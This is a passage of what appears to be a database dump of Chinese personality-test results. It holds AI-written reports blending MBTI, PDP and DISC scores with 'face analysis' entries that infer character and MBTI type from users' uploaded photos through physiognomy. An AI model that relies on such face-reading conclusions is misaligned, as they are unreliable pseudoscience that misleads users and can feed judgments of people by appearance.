在团队中容易占中心位:主持会议、总结发言、做关键决策; \\n- 喜欢有可见进展的事情,对长期无反馈的琐碎任务兴趣低。\\n\\n### 2. 沟通风格\\n\\n- 语言直接、结构清晰:会说“核心有几条”“结论先说”。 \\n- 以“道理+目标+数据”说服别人: \\n - 对上:强调成果与可行性,争取资源; \\n - 对下:强调标准和责任,边鼓励边施压。 \\n- 正面情绪表达显性:善于鼓舞、打鸡血、造氛围; \\n- 负面情绪容易通过语气、表情显露:不满时很难完全掩饰。 \\n\\n**风险点**:在压力或节奏很快时,容易显得: \\n- 话多但听得不够多; \\n- 关注任务多于感受,被人贴上“有点强势/有点功利”的标签。\\n\\n---\\n\\n## 五、优势亮点(可在工作中刻意放大的部分)\\n\\n1. **强推动力与执行落地能力** \\n - 能设定明确目标→拆解成执行步骤→持续跟进,适合做项目 owner、团队负责人、业务骨干。 \\n\\n2. **沟通与影响力强** \\n - 能把复杂事务讲清楚、讲明白,有说服力; \\n - 适合对外(客户、伙伴)沟通,对内(团队)动员。 \\n\\n3. **结果导向、责任感强** \\n - 对自己负责的事有“非搞好不可”的执念; \\n - 有一定“替组织操心”的属性,天然具备管理潜力。 \\n\\n4. **逻辑与结构能力不错** \\n - 能快速抓重点、搭框架,对流程、制度、规范化有敏感度; \\n - 在需要制度建设、流程优化、项目梳理时有优势。 \\n\\n5. **抗压和适应快节奏** \\n - 在“多任务+高节奏+强目标”的业务环境中能跑得起来; \\n - 面对变化能迅速调整策略,而不是僵在原地。\\n\\n---\\n\\n## 六、可提升方向(真实短板与发展建议)\\n\\n1. **倾听与情绪敏感度** \\n - 风险:在推进任务和讲道理时,容易忽视他人真实感受; \\n - 建议: \\n - 每次决策前养成“先问三分钟,再讲三分钟”的习惯; \\n - 对关键成员,定期做一对一沟通,刻意问“你有什么顾虑和困难”。 \\n\\n2. **细节耐心与长期主义** \\n - 风险:在没有即时反馈的长期任务、细腻工作(如复杂数据分析、文档精修)中容易失去耐心; \\n - 建议: \\n - 把长期任务拆成多个“小里程碑”,每周给自己一个可见成就; \\n - 把关键细节工作分配给适合的 C/S 型伙伴,自己做决策与协调。 \\n\\n3. **控制欲与授权** \\n - 风险:老虎+D 的成分会导致“什么都想管、事事想确认”,容易累自己、压别人; \\n - 建议: \\n - 明确哪些事情“必须亲自”,哪些可以“设规则+定结果”; \\n - 对团队多用“结果管理”而非“过程控制”,减少微观干预。 \\n\\n4. **情绪管理与表达方式** \\n - 风险:压力大时语言锋利、语气急,损害长期合作关系; \\n - 建议: \\n - 在高压场景下刻意用“问题导向”替代“情绪指责”,如: \\n - 把“你怎么又……”换成“这次问题的关键点在哪,我们下次怎么避免”; \\n - 对重要对象(上级、关键同事)在冲突后及时“复盘+修复关系”。 \\n\\n5. **战略思维与视角拉高** \\n - 当前偏“战术执行+组织管理”,战略层面(行业趋势、资源布局、组织设计)需要强化; \\n - 建议: \\n - 多参与跨部门项目,主动争取“组织级”的任务; \\n - 多向上级/前辈学习:他们如何看待长期布局与风险管理。\\n\\n---\\n\\n如果你愿意补充: \\n- 出生年月日 \\n- 过往 2–3 段关键工作经历(行业/岗位/负责内容) \\n\\n我可以在此基础上,把上面的通用分析进一步细化成:**更贴近你行业发展路径的职业定位与中长期发展建议**。\", \"fileUrl\": \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\"}', NULL, NULL, 0, 0, 0, NULL, 1773129620, 1773129620, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (98, 1, 'resume', '{\"content\": \"下面的分析基于: \\n- 人脸分析:INTJ + PDP「老虎」、DISC「D/C」 \\n- MBTI 测试:ESTJ(E/S/T/J 极高分) \\n- PDP 测试:孔雀型(主 Peacock,辅 Tiger) \\n- DISC 测试:I 型为主、D 为辅 \\n- 你上传了简历,但图片内容我无法读取,因此无法结合具体工作经历、生日做更细致的印证,只能从多份测评之间做“去伪存真”的综合判断。后面如果你能补充文字版的工作经历与生日,我可以给一版更接地气的“行为风格复盘”。\\n\\n在当前信息有限的前提下,我会给出一个“高可信核心画像 + 若干可能分支”的结构化结论。\\n\\n---\\n\\n## 一、核心性格关键词(综合提炼)\\n\\n从多份测评中相对稳定、可互相印证的特征来看,你大概率具备:\\n\\n**核心底色:**\\n- 目标导向、结果思维\\n- 逻辑清晰,偏理性决策\\n- 行动派,有执行力、有主见\\n- 组织、掌控倾向明显(喜欢有秩序、有计划)\\n\\n**在人际与工作场景中常见特征:**\\n- 带有一定的领导/主导欲 \\n- 愿意表达观点,敢于决策 \\n- 不怕冲突,更关注解决问题和推进结果 \\n- 在自己熟悉的领域,显得自信、果断\\n\\n---\\n\\n## 二、真实性格深度分析(去伪存真)\\n\\n### 1. MBTI、PDP、DISC 之间的矛盾点\\n\\n- 面相:INTJ+D/C → 偏**内向、理性、战略性、自控强**\\n- MBTI 测评:ESTJ → 偏**外向、务实、执行强、组织者**\\n- PDP 测评:孔雀(Peacock,85%) + Tiger → 偏**外向、表现欲、社交活跃、影响他人**\\n- DISC 测评:I 型 + D → **影响型+支配型**,典型“爱说、爱带节奏、乐观感染人”。\\n\\n这几份结果存在明显冲突: \\n- 有的把你描述成“外向型组织者/表现者(ESTJ、Peacock、I 型)”; \\n- 有的把你描述成“理性、独立、略冷感的战略型(INTJ、D/C)”。\\n\\n这通常意味着两种可能:\\n\\n1. **你在工作/社交角色中表现得更外向、能说会道,但内在思维模式偏理性和掌控。** \\n2. 部分在线测评受“答题倾向”影响,夸大了你的外向、表现欲,而人脸分析和 D/C 倾向提示你其实更看重逻辑、控制、结果。\\n\\n### 2. 更可信的“核心人格底盘”\\n\\n从多维度交叉看,以下几条特征在所有版本里都**反复出现或隐含**,可信度较高:\\n\\n1. **理性决策占主导** \\n - INTJ、ESTJ、D、老虎、Tiger 都指向: \\n - 偏「T」而不是「F」:做决定看事实、逻辑、利弊,而不是情绪和关系优先。 \\n - 习惯快速判断:什么是对的、什么是有效的。\\n\\n2. **强目的性和控制感需求** \\n - D 型、Tiger、ESTJ、INTJ 的共同点: \\n - 喜欢掌握节奏,不愿被动等待或被人牵着走。 \\n - 在项目/团队中容易自然站到“主导/决策/推动”位置。 \\n - 面对模糊和混乱,会本能地想建立规则、流程、优先级。\\n\\n3. **较强的结构化与执行力** \\n - ESTJ 的 J + S,D/C 的 C,老虎+猫头鹰等,都指向你: \\n - 能把目标拆解为计划并落地执行。 \\n - 不排斥流程和规则,甚至会主动制定标准。 \\n - 对“拖延、反复、模糊指令”容忍度不高。\\n\\n4. **情绪相对稳定,抗压能力中高档** \\n - 老虎、D 型、ESTJ 都意味着: \\n - 面对压力更倾向于解决问题,而非逃避。 \\n - 紧张情境下,有一定硬扛能力,会选择“顶上去”,而不是明显退缩。 \\n - 表面情绪控制较好,不会在工作场合频繁情绪化。\\n\\n### 3. 关于“外向/内向”的真实情况\\n\\n矛盾点在于: \\n- 面相:INTJ + D/C → 偏内敛、理性,精力投向任务和思考。 \\n- 测评:ESTJ + 孔雀 + I 型 → 强烈外向、表达欲强、喜欢社交。\\n\\n更合理的解释不是“要么内向要么外向”,而是:\\n\\n> **你属于「任务场景外向、私下可能收敛」的类型。**\\n\\n- 在工作需要你去沟通、协调、影响别人时: \\n - 你能很自然地打开自己,敢说敢表达,甚至偏强势,逻辑清晰、直奔主题。 \\n- 但在真正放松的私人生活中: \\n - 你未必喜欢「无效社交」;更愿意一个人/少数人深度交流,而不是在大场合持续充当焦点。 \\n- 你对社交的态度更像“为了目标服务的工具”,而不是单纯享受社交本身。\\n\\n---\\n\\n## 三、行为与沟通风格(工作场景下的真实模样)\\n\\n### 1. 做事习惯\\n\\n- **有计划、有目标感**:更习惯先弄清目标,再讨论怎么做;不喜欢边做边变更方向。 \\n- **讲效率、不磨叽**:倾向快速决策,看到明显的不合理会直接提出或调整。 \\n- **重结果、重标准**:任务若没有清晰指标会不舒服,你会主动帮团队明确“什么算做好”。 \\n- **对细节有选择性关注**:重要细节不会放过,但对你认为“不影响结果”的细节容忍度较高。\\n\\n### 2. 抗压与应对方式\\n\\n- 压力上来时,你更可能: \\n - 开始划优先级:先干关键的,丢掉不重要的。 \\n - 收紧控制:更多亲自盯、亲自决策,对他人犯错的耐心下降。 \\n - 语气变硬、容错率下降,但仍以“把事搞定”为主线。\\n\\n- 你不喜欢长期处在完全失控、完全被动的局面,如果环境过于混乱,可能会选择“要么接管,要么离开”。\\n\\n### 3. 人际与沟通模式\\n\\n- **表达风格:直截了当、偏理性** \\n - 说话逻辑清楚、结论先行,不太习惯绕圈子。 \\n - 容易被觉得“有点强势/不够温柔”,尤其在指出问题时。\\n\\n- **合作风格:喜欢靠谱、有担当的人** \\n - 对拖延、情绪化、缺乏责任感的人容易不耐烦。 \\n - 和专业度高、对结果负责的人,很快可以建立信任。\\n\\n- **影响他人的方式** \\n - 不是靠“讨喜”,而是靠专业和决心; \\n - 在需要时,也能通过较强的表达能力、感染力带动团队。\\n\\n---\\n\\n## 四、优势亮点(综合 MBTI / PDP / DISC)\\n\\n1. **目标驱动 + 执行力强** \\n - 设定目标之后,能迅速拆解任务、分配资源、推动落地,是典型的“做成事”的人。\\n\\n2. **逻辑清晰,决策能力好** \\n - 看到信息后能快速判断优先级和风险,倾向于理性分析,而非被情绪带节奏。\\n\\n3. **有领导与组织潜质** \\n - 敢于承担责任、习惯站在“整体视角”看问题。 \\n - 在团队里容易自然成为“说了算/拍板的人”。\\n\\n4. **在关键场景中能外向表达、影响他人** \\n - 虽不一定是全场最爱社交的人,但在工作情境里,你能站出来讲话、谈判、推动项目。\\n\\n5. **抗压能力中上,有硬度** \\n - 在压力来临时,有继续推进的韧性,不轻易放弃或被情绪拖垮。\\n\\n---\\n\\n## 五、可提升方向(针对你这种“理性 + 控制 + 行动派”组合)\\n\\n1. **柔化沟通方式,区分“对事”和“对人”**\\n - 保持对结果的高标准,但在表达问题和反馈时: \\n - 多用“我观察到…”、“我们可以尝试…”代替“你怎么…”。 \\n - 先肯定再指出问题,降低对他人情绪的冲击。 \\n - 这能减少别人对你“强势/不好相处”的误解,提升合作效率。\\n\\n2. **增加对他人情绪与节奏的容忍度**\\n - 并非所有人都以效率为中心,有些人需要更多情感安全感和鼓励。 \\n - 适当拉长自己的“容错时间”,把“如何带出团队”视为和“把事做成”同等重要的目标。\\n\\n3. **避免过度控制与亲力亲为**\\n - 你的掌控感强,容易“看不惯就自己做”,短期效率高,但容易累,团队成长慢。 \\n - 更有价值的是: \\n - 明确结果和边界, \\n - 放权 + 关键节点把关, \\n - 只抓关键 20% 的事情。\\n\\n4. **警惕因过度理性而忽视长期关系资产**\\n - 将“人际关系、信任、口碑”纳入你的“结果指标”。 \\n - 不只是“事做成了”,而是“事做成的同时,让人愿意跟你继续做下一件事”。\\n\\n5. **自我节奏管理,防止长期高压硬撑**\\n - 你可能习惯“先把事干了再说休息”,容易透支。 \\n - 在高强度周期中,刻意安排: \\n - 短暂的断网休息、 \\n - 纯兴趣的活动、 \\n - 高质量的独处或少量深度社交, \\n - 用来恢复你的专注和判断力。\\n\\n---\\n\\n## 小结:一个更贴近真实的画像\\n\\n你更像是一个:\\n\\n> **以结果为导向、理性分析为底色,在工作场景中可以主动外向、善于组织和掌控局面的行动派。**\\n\\n- 内在:重逻辑、重掌控、重效率,不喜欢无序和拖拉。 \\n- 外在:在需要时能表现得外向、有说服力、有感染力,但本质上社交是服务于目标的工具。 \\n- 擅长:定目标、理清思路、推动执行、扛压力。 \\n- 易被误解:太直接、太强势、不够“温柔/顾情绪”。 \\n\\n如果你方便补充: \\n1)出生日期(精确到年月日) \\n2)简历里的关键经历(行业、职位、负责内容、任职时长) \\n\\n我可以在此基础上进一步校正,给你一版更贴近你真实工作场景的“行为与职业匹配度细化分析”。\", \"fileUrl\": \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\"}', NULL, NULL, 0, 0, 0, NULL, 1773130628, 1773130628, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (99, 6, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性内敛、思维缜密,重视长期规划与稳健推进,适合在专业与管理结合岗位深耕发展。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afd37be9c8f5.89224540.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afd37bed97c8.21150938.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afd37bd4cf40.31378569.jpg\"], \"boneAnalysis\": \"骨骼偏土形稳健,骨肉均衡,颌骨承载力强,中庭与鼻部突出现实感与责任心,具长期抗压与守成能力。\", \"faceAnalysis\": \"额头宽阔,眼神专注,鼻梁端正,嘴形收敛,下巴厚实,整体面相稳重理性,偏重思考与执行并重。\", \"personalitySummary\": \"性格内敛理性,注重逻辑与系统思考,决策谨慎而有主见,做事稳扎稳打,擅长在复杂环境中分析问题并推进落地。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773130642, 1773130642, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (100, 6, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性内敛、思维缜密,擅长规划与稳健推进,做事有原则,重视长期发展与现实成效。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afd37be9c8f5.89224540.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afd37bed97c8.21150938.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afd37bd4cf40.31378569.jpg\"], \"boneAnalysis\": \"面部骨骼偏土金形,骨肉匀称,颧区内敛不外凸,下颌承托感强,体现稳健持久与现实判断力。\", \"faceAnalysis\": \"额头饱满,下巴厚实,五官线条圆中带棱,神情稳重,整体给人理性沉稳、思考周密之感。\", \"personalitySummary\": \"性格偏理性克制,重视逻辑与效率,做事有计划且坚持度高,人际有边界感但可靠可信,适合承担长期复杂任务与关键责任。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773130960, 1773130960, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (101, 1, 'resume', '{\"content\": \"下面是基于你目前提供的数据做的“初步画像”,因为简历内容图片我还看不到具体文字,只能先根据测评结果和你给的信息做框架式判断。等你补充简历文本(生日、工作经历),我可以再做一次更精准的“校正”和细化。\\n\\n---\\n\\n## 一、核心性格关键词(在现有信息基础上的“初稿”)\\n\\n- 外向表达强 / 乐于社交(E,高 I / 孔雀 / I型)\\n- 结果导向、执行力强(ESTJ、部分老虎、D)\\n- 乐观、有感染力、擅长影响他人(孔雀 / I型)\\n- 逻辑清晰、决策偏理性(T、INTJ 面相分析)\\n- 组织、规划和掌控欲较强(J、ESTJ、D)\\n- 可能存在:情绪耐受一般、容易对低效与拖延不耐烦、注意力分散或过度乐观\\n\\n> 说明:目前多份测评之间存在明显“冲突”(INTJ + D/C vs ESTJ + 孔雀 + I型),在没有工作经历和生日信息印证前,只能先给出一个“折中后的大致轮廓”。\\n\\n---\\n\\n## 二、真实性格深度分析(基于多测评交叉取中)\\n\\n### 1. 性格底色(以 MBTI ESTJ + PDP 孔雀 + DISC I 为主,兼顾面相 INTJ+D/C)\\n\\n- **外向倾向:明显偏外向 E**\\n - MBTI:E 得分 8:0\\n - PDP:孔雀 85%\\n - DISC:I 100%\\n → 真实中,很难是典型的“社交内向型”。更可能是: \\n 在熟悉环境中非常外向、健谈、有存在感,在陌生或专业场合会切换到“理性、控制局面”的模式。\\n\\n- **思维方式:现实理性 + 过程有序**\\n - MBTI:S(务实)+ T(理性决策)+ J(讲规则、重计划)\\n - 面相&DISC/D:逻辑分析、条理性、目标导向 \\n → 行为决策多以“现实可行性、成本收益”为基准,很少纯情绪化决策。对模糊、拖延和反复变更不耐烦。\\n\\n- **核心驱动力:成就 & 影响力 & 控制感**\\n - ESTJ:喜欢“组织、管理、推动进展”\\n - 孔雀 / I:喜欢“被看见、影响他人、气氛与人际反馈”\\n - D:喜欢“掌控局面、说了算”\\n → 综合来看,更可能是: \\n 既希望“事情有效率、结果达成”,又希望“自己是关键人物、被看到、能影响团队和氛围”。\\n\\n### 2. 情绪与压力反应(暂为推测版)\\n\\n- 面对压力,更可能表现为:\\n - 先上手解决问题,行动优先;\\n - 对他人拖慢节奏或不配合容易着急、发火;\\n - 不太愿意公开展示脆弱,更习惯“硬扛+往前推”。\\n- 在高压或反复被否定的环境中,可能会:\\n - 控制欲上升、语气变强势;\\n - 对细节和错误挑剔;\\n - 或出现短时逃避:注意力分散、转向社交或其他刺激来“分心”。\\n\\n---\\n\\n## 三、行为与沟通风格(从三类测评交集提炼)\\n\\n### 1. 行为风格(做事方式)\\n\\n**很可能的真实行为特征:**\\n\\n- 快节奏、行动型:不喜欢长时间空谈,更偏“边做边调”。\\n- 结构化:喜欢清晰的目标、时间表、优先级;讨厌混乱和没有决策。\\n- 现实实用:方案要落地、要有效,不爱“空想型创意会”。\\n- 需要自主权:对过度控制、反复否决会强烈不适;更适合被赋予责任和空间。\\n\\n**可能出现的行为盲点:**\\n\\n- 容易忽略他人情绪体验,认为“事情比感受重要”;\\n- 对节奏慢、风格细腻的人(高S、高F、高C)缺耐心;\\n- 可能因为乐观+自信,低估风险、细节或长期隐患。\\n\\n### 2. 沟通风格\\n\\n- **与下属/同事** \\n - 语言直接,指令清晰,强调“结果、时间节点、标准”;\\n - 擅长在团队里“打气”“带动情绪”,同时推进任务;\\n - 喜欢开门见山,不擅长长篇铺垫或过度安抚。\\n- **与上级/客户** \\n - 用数据、事实、案例说话,表达有条理;\\n - 会展示自信与掌控感,给人“靠谱、能干”的印象;\\n - 对模糊要求有时会“反问、追问”,希望边界更清晰。\\n- **社交场合** \\n - 易成为话题中心或组织者型角色;\\n - 善于调动氛围、快速建立关系,但对深度情绪、脆弱话题不一定愿意停留太久。\\n\\n---\\n\\n## 四、优势亮点(多测评共同指向的真实优势)\\n\\n1. **组织与执行能力强**\\n - 擅长拆解目标、制定计划、分派任务、盯进度;\\n - 能把一群人组织起来,朝同一个结果推进。\\n\\n2. **影响力与号召力**\\n - 外向表达 + 孔雀/I型,使你在团队中自然具备“带动情绪、影响氛围”的能力;\\n - 非常适合担任项目负责人、团队leader、BD/销售管理等对人和结果双重要求的角色。\\n\\n3. **理性决策、敢于拍板**\\n - 以事实、逻辑、经验为依据,敢做决定、敢担责;\\n - 在混乱和犹豫的环境中能“站出来给方向”。\\n\\n4. **目标导向、抗干扰能力相对较好**\\n - 结果清晰时,容易进入“执行模式”,专注在完成任务上;\\n - 对复杂问题有拆解和推进的能力,而不仅停留在想法层面。\\n\\n---\\n\\n## 五、可提升方向(结合三类测评的“偏科点”)\\n\\n1. **情绪与同理心维度的补位**\\n - 当前组合偏:结果 > 过程、事实 > 情绪。 \\n - 建议:\\n - 在给反馈、提要求前,先确认对方状态(“我看到你现在很赶/很累,我的建议是…”);\\n - 学会区分:对事可以强硬,对人要留余地;\\n - 对高情感敏感型同事(高F、高S)增加一些“情感确认”。\\n\\n2. **节奏与风格的灵活度**\\n - 强势+快节奏容易“碾压”节奏慢的人,导致团队出现被动服从、表面执行。 \\n - 建议:\\n - 在定目标时,邀请不同风格成员参与共创,减少“一言堂”;\\n - 有意识多问一句:“你怎么看?有什么风险/细节我没考虑到?”\\n\\n3. **风险意识与细节耐心**\\n - 孔雀/I型 + ESTJ 容易偏向“自信+乐观+动作快”,忽略长期风险或技术细节。 \\n - 建议:\\n - 在重要决策中,引入“唱反调角色”; \\n - 固定加入一个“风险检查清单”(资金、合规、交付能力、人力等)。\\n\\n4. **压力管理与自我调节**\\n - 表面强势、理性的人,常常习惯“压住自己的情绪”,后期可能以易怒、控制欲、失眠等方式反弹。 \\n - 建议:\\n - 留出稳定的放空或运动时间,而不是一味靠高强度工作“顶住”;\\n - 在极度压力期,减少对他人语气和节奏的要求,把精力放在“关键少数”的任务上。\\n\\n---\\n\\n## 六、后续优化建议\\n\\n目前你的数据中,存在两种相反画像:\\n\\n- 面相:INTJ + D/C(冷静策略家,偏内向、理性、规划型)\\n- 测评:ESTJ + 孔雀 + I(外向、务实、善社交、组织执行型)\\n\\n但它们的“交集”很清晰: \\n**理性、组织力强、结果导向、有影响力、有一定控制欲。**\\n\\n接下来,如果你能提供:\\n- 生日(具体年月日)\\n- 简历中真实的工作经历:行业、岗位、年限、是否带团队、典型项目/业绩\\n\\n我可以再做一版“修正版画像”,重点从:\\n\\n1. 你的职业选择与晋升路径,验证你是更偏“战略规划型”,还是“执行管理+对人影响型”;\\n2. 从工作中的真实行为(冲突处理、挫折反应、换工作原因),验证你的抗压方式和真实价值观;\\n3. 结合生日,从“底色倾向”上进一步校正(例如偏权威/独立/合作/服务等)。\\n\\n你可以直接把简历文字版或关键经历发给我,我会基于上面的“初稿”做一次系统修正和升级。\", \"fileUrl\": \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\"}', NULL, NULL, 0, 1, NULL, NULL, 1773131684, 1773131684, 6, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (102, 1, 'disc', '{\"scores\": {\"C\": 0, \"D\": 20, \"I\": 0, \"S\": 0}, \"answers\": {\"1\": \"D\", \"2\": \"D\", \"3\": \"D\", \"4\": \"D\", \"5\": \"D\", \"6\": \"D\", \"7\": \"D\", \"8\": \"D\", \"9\": \"D\", \"10\": \"D\", \"11\": \"D\", \"12\": \"D\", \"13\": \"D\", \"14\": \"D\", \"15\": \"D\", \"16\": \"D\", \"17\": \"D\", \"18\": \"D\", \"19\": \"D\", \"20\": \"D\"}, \"completedAt\": \"2026-03-10T08:37:27.414Z\", \"description\": {\"type\": \"D型\", \"color\": \"#EF4444\", \"title\": \"支配型\", \"careers\": [\"企业高管\", \"创业者\", \"项目经理\"], \"strengths\": [\"决断力强\", \"目标导向\", \"行动迅速\"], \"weaknesses\": [\"可能过于强势\", \"缺乏耐心\"], \"description\": \"天生的领导者,注重结果和效率\"}, \"percentages\": {\"C\": 0, \"D\": 100, \"I\": 0, \"S\": 0}, \"dominantType\": \"D\", \"testDuration\": 17, \"secondaryType\": \"I\"}', NULL, NULL, 0, 0, NULL, NULL, 1773131847, 1773131847, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (103, 1, 'disc', '{\"scores\": {\"C\": 5, \"D\": 4, \"I\": 8, \"S\": 3}, \"answers\": {\"1\": \"I\", \"2\": \"D\", \"3\": \"I\", \"4\": \"I\", \"5\": \"C\", \"6\": \"I\", \"7\": \"I\", \"8\": \"D\", \"9\": \"S\", \"10\": \"C\", \"11\": \"I\", \"12\": \"C\", \"13\": \"C\", \"14\": \"D\", \"15\": \"S\", \"16\": \"C\", \"17\": \"S\", \"18\": \"I\", \"19\": \"D\", \"20\": \"I\"}, \"completedAt\": \"2026-03-10T08:42:24.893Z\", \"description\": {\"type\": \"I型\", \"color\": \"#F59E0B\", \"title\": \"影响型\", \"careers\": [\"市场营销\", \"公关\", \"培训师\"], \"strengths\": [\"善于沟通\", \"乐观积极\", \"创意丰富\"], \"weaknesses\": [\"可能过于乐观\", \"注意力分散\"], \"description\": \"热情友好,善于社交和表达\"}, \"percentages\": {\"C\": 25, \"D\": 20, \"I\": 40, \"S\": 15}, \"dominantType\": \"I\", \"testDuration\": 19, \"secondaryType\": \"C\"}', NULL, NULL, 0, 0, NULL, NULL, 1773132144, 1773132144, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (104, 1, 'resume', '{\"content\": \"下面先给出综合结论,再拆分说明。由于简历文件内容无法直接读取,以下分析主要基于: \\n- 面相AI:INTJ + PDP 老虎 / DISC D-C \\n- MBTI测评问卷:ESTJ(极端 E、S、T、J) \\n- PDP 测评:孔雀型(P85 + T15) \\n- DISC 测评:I 主导,次 C(I40%、C25%、D20%、S15%)\\n\\n可以看出,不同测评之间有明显矛盾: \\n- 有的结果偏「内向理性、战略规划型」(INTJ / D-C) \\n- 有的结果偏「外向表现、乐观影响型」(ESTJ + 孔雀 + I型) \\n\\n所以必须交叉取证,剥离「答题风格」「场景角色」带来的偏差,只保留稳定、相互印证的特征。\\n\\n---\\n\\n## 一、核心性格关键词(综合提炼)\\n\\n**底色:理性 + 目标导向 + 主动外向的影响者**\\n\\n- 目标驱动,结果导向 \\n- 逻辑清晰,判断迅速 \\n- 现实务实,偏行动派 \\n- 外向表达,愿意影响和说服他人 \\n- 组织与掌控欲较强,有领导倾向 \\n- 情绪总体稳定,但有时会直接甚至强势 \\n- 既要「好结果」,又在意「别人怎么看」\\n\\n---\\n\\n## 二、真实性格深度分析(去伪存真)\\n\\n### 1. 内外向:E 还是 I?\\n\\n- 面相/人脸:INTJ 倾向(独立思考、规划、冷静) \\n- MBTI 问卷:100% E,几乎没有 I \\n- PDP:孔雀型(极高外向表达、社交欲) \\n- DISC:I 型主导(善于沟通、表达)\\n\\n**综合判定**: \\n- 性格本质上偏「外向表达 + 主动影响」——不是安静型分析者 \\n- 但思考方式带有一定「理性、独立判断」特征,不是情绪化的纯社交型 \\n- 可推测: \\n - 内心需要通过「说」「讲」「带队」来影响环境,是典型 E \\n - 人前表现活跃、讲逻辑、人脉广; \\n - 但在关键判断时,会希望自己做主,独立思考后拍板,有一点「内向决策」的影子\\n\\n### 2. 思维方式:T vs F / 逻辑 vs 情感\\n\\n- MBTI:T 极高,F 接近 0 \\n- 面相:逻辑分析、理性思维 \\n- PDP/ DISC:孔雀 / I 型往往偏情绪感染力强,但你的组合里同时有 Tiger / C、D 成分\\n\\n**综合判定**: \\n- 决策底层以「对错、利弊、效率、结果」为主,而非「感受、公平、关系和谐」 \\n- 善于用数据、事实、逻辑说明观点,但会带一点情绪、鼓动性 \\n- 对自己要求高,也会对别人有明显标准,容忍度有限 \\n- 在关系中,更多是「我帮你解决问题」,而不是「我陪你情绪共鸣」\\n\\n### 3. 结构度与执行:J + D/C 一致性很高\\n\\n- MBTI:J 极强(偏有计划、有秩序的处事方式) \\n- 面相:战略规划、系统性思考 \\n- DISC:C+D 均有一定比例(25+20),说明: \\n - 注重质量、细节、规范(C) \\n - 同时又有推动、拍板的一面(D)\\n\\n**综合判定**: \\n- 做事讲流程、讲计划、喜欢可控性,不爱「走一步看一步」 \\n- 能从全局拆分任务,设置节点和标准 \\n- 对执行要求严格,不喜欢拖沓、反复 \\n- 遇到模糊情况,会本能地想「先定规则/先搭框架」,再推动落实\\n\\n### 4. 情绪与压力反应\\n\\n从 D + C + T + 目标导向推测:\\n\\n- 面对压力,会先顶住、硬扛,通过加快节奏、强化控制来应对,而不是退缩 \\n- 高标准 + 责任感,会让你在关键项目中很能扛事,但长期容易: \\n - 自我压力过大 \\n - 对他人不耐烦,语气变硬、控制欲上升 \\n- 情绪表达方式: \\n - 不太习惯示弱或公开表达脆弱 \\n - 一般以「工作指令」「问题讨论」的形式释放情绪(例如提高语速、语气变直)\\n\\n### 5. 真实偏好 vs 测试标签矛盾的原因推测\\n\\n- INTJ(面相)+ ESTJ(问卷)+ 孔雀/老虎(PDP)+ I/C (DISC) \\n- 可以推断: \\n - 底层是:**逻辑型、结果型、组织型** \\n - 外显行为是:**外向、有号召力、善于动员与说服** \\n- 问卷中极端的 E/S/T/J 可能反映了你「在职场角色中的自我期望」: \\n - 认为自己应该外向、坚决、指挥型、很能扛 \\n- 面相中的 INTJ 则反映: \\n - 内心仍需要一定独处空间做深度思考 \\n - 有规划和策略性,而不是只靠人脉与情绪\\n\\n---\\n\\n## 三、行为与沟通风格\\n\\n### 1. 行为风格(做事习惯)\\n\\n- **偏任务导向**:看到的是目标、节点和资源,而不是先想到「大家开不开心」 \\n- **强推动力**:喜欢把事情往前赶,看不到进度会焦虑 \\n- **决策方式**: \\n - 快速收集信息 → 分析利弊 → 果断拍板 \\n - 不喜欢长时间拉扯和模糊 \\n- **对细节与标准有要求**: \\n - 对数字、流程、结果质量敏感 \\n - 在执行层面,有时会下意识地「自己盯得很紧」 \\n- **时间观念强**:守时、希望别人也守时,拖延会让你非常不爽\\n\\n### 2. 人际与沟通风格\\n\\n- **主动开场、主动带节奏**:会议上倾向于主持议题、推动讨论,而不是一直沉默 \\n- **表达直接、逻辑清晰**: \\n - 喜欢讲「逻辑+结论」,不爱绕圈 \\n - 容易给人「强势」「有压迫感」的印象,尤其对执行不到位的人 \\n- **说服路径**: \\n - 用事实、案例、数据 + 一定情绪感染(鼓舞式或高压式) \\n- **社交偏好**: \\n - 场合中能自如社交、建立关系 \\n - 但选择深度合作伙伴时,更看重对方能力与专业,而非单纯投缘\\n\\n---\\n\\n## 四、优势亮点\\n\\n1. **综合领导力潜质** \\n - 目标感强 + 推动力强 + 组织规划能力 \\n - 能同时「看全局」和「盯过程」 \\n - 适合在项目型、结果导向强的岗位担任负责人或关键骨干\\n\\n2. **逻辑与执行结合** \\n - 不是只会讲战略的空谈型,也不是只会干活的执行型 \\n - 能把复杂问题拆解为可执行步骤,安排人、定标准、定时间\\n\\n3. **沟通与影响力强** \\n - 具备孔雀/I型的表达力和感染力 \\n - 适合做跨部门协调、客户沟通、对上汇报、对下动员\\n\\n4. **高抗压与责任感** \\n - 在关键任务中,敢接难活,有「我来」的担当 \\n - 